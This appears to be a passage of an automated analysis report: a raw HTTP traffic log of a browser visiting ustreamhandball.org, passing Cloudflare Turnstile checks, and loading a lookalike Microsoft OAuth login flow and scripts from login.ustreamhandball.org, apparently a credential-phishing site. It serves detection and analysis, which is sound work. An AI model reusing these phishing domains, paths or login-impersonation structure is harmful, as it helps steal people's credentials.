Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199
Source: unknown	TCP traffic detected without corresponding DNS query: 40.113.103.199

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: sacredartscommunications.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ZspqXQij HTTP/1.1Host: www.ustreamhandball.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/0/0f/Microsoft_logo_-_2012_%28vertical%29.svg HTTP/1.1Host: upload.wikimedia.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wikipedia/commons/0/0f/Microsoft_logo_-_2012_%28vertical%29.svg HTTP/1.1Host: upload.wikimedia.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ff82960bc478c6f&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ff82960bc478c6f&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ustreamhandball.org/ZspqXQijAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8ff82960bc478c6f/1736464867064/09c5295c7046ae5d5cd8eb0ed679dbf404a3722ad201c961298268339cc30dba/im7_ASrXwneZXIb HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ff82960bc478c6f/1736464867068/TbRO0vbkApJ1tRy HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ff82960bc478c6f/1736464867068/TbRO0vbkApJ1tRy HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1407530724:1736460996:yyfoS_5VaXgRwNCuNtdpUHAyZnrD7xVbWd1MnyLVTwA/8ff82960bc478c6f/cI3RIR.4ICFuVplTqUv3ia3OiMrGffbhAHKvbxRmE_0-1736464865-1.1.1.1-ieOINc0QR4_JcGSc1jHjvUsxDJU0w228tGr4hBb1aq1VmDccl8OTCzxkWxJ_BJYd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ZspqXQij?n=GTFFxd4 HTTP/1.1Host: www.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://www.ustreamhandball.org/ZspqXQijAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; OH.SID=74c617ae-f782-4e40-88b6-e84e5bda3a98; OH.DCAffinity=OH-eus; OH.FLID=17ff59b6-0080-40dc-acd1-dedec8118622
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: www.ustreamhandball.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; OH.SID=74c617ae-f782-4e40-88b6-e84e5bda3a98; OH.DCAffinity=OH-eus; OH.FLID=17ff59b6-0080-40dc-acd1-dedec8118622
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://www.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638720616732439502.ZDkzZTlhNDMtYjA4Yi00ZmY0LWFjYWYtMzg0OThhN2I2ZjYzY2E3MDM5M2EtNjU4NC00Njg0LWJkMTAtZmExMGY2NDliNTBl&ui_locales=en-US&mkt=en-US&client-request-id=6d79123f-f278-4173-b566-f561b534f115&state=1JmhBQKzmfY82d8qNoYK6KrmFj-703a8z5_WR4b4eUt-eu1NnnUlqjdqOyw-eQN85zCxfMrs9oukx7EVU6PCCty4I-buzY7pkmVHAKULEuiSV5D-Milk1EawBA597CIt9PK6Ezz-qCo68l_tMYLKcliM9sEpc5ydN9bd61xbzh-ywUIE5qcPOKoXxZzp2HPNtIWg35CvWPLV13LMQg9t4g50jYEu_ewHsD4DLfpvicFv8eqVtNQv_CkaFN6ZavOlQvqWW_jVRsAftXugH-g_SA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_eaF-Fe71oZcWvr096r6xEw2.js HTTP/1.1Host: aadcdn.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.ustreamhandball.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.ustreamhandball.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60/2842b9ecb751393b60c4b08022c260d063b04c654b7ef7a28e3188bb6723fb13.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60.js HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7211-3325=ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60; fpc=Aq076Fa4imlIlpYE2a8YmJI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe7v7KWL8es3B94M8P1iGwAAQsE70-Fuz_Z0gcmPHmsc4irw2USTUPY4Th9vWuwKZzXV1VMyznEPGushB3ka8zy3dJj2UJomsYQ-oCKUpk4878VLPYhrNVgbLXJkdSOWhNjTfB0_-0petHtfmqnZXCcRfkHg-EKX9AxN-YvDRc7v0gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-LeV4WHyApcs=AQABCQEAAABVrSpeuWamRam2jAF1XRQEXraNLVT8pT-llCxQqNtwkLOS2w2J3zJNjfpOCr-yfUdqz1Vp62dBI0QKQ-va2M0SXuIytEPZa78R7MiSxmtxpLeK0IpD4yEU59dD5R5a7DHxkhE7SFg8xdzRZy67x2XV4LgbWotuDtJ99rSrGKiqlSAA
Source: global traffic	HTTP traffic detected: GET /s/ec9765f3a6cb334d34368932bf819a1028dd2f771aaf16548f90dbbe18b2ef60 HTTP/1.1Host: login.ustreamhandball.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 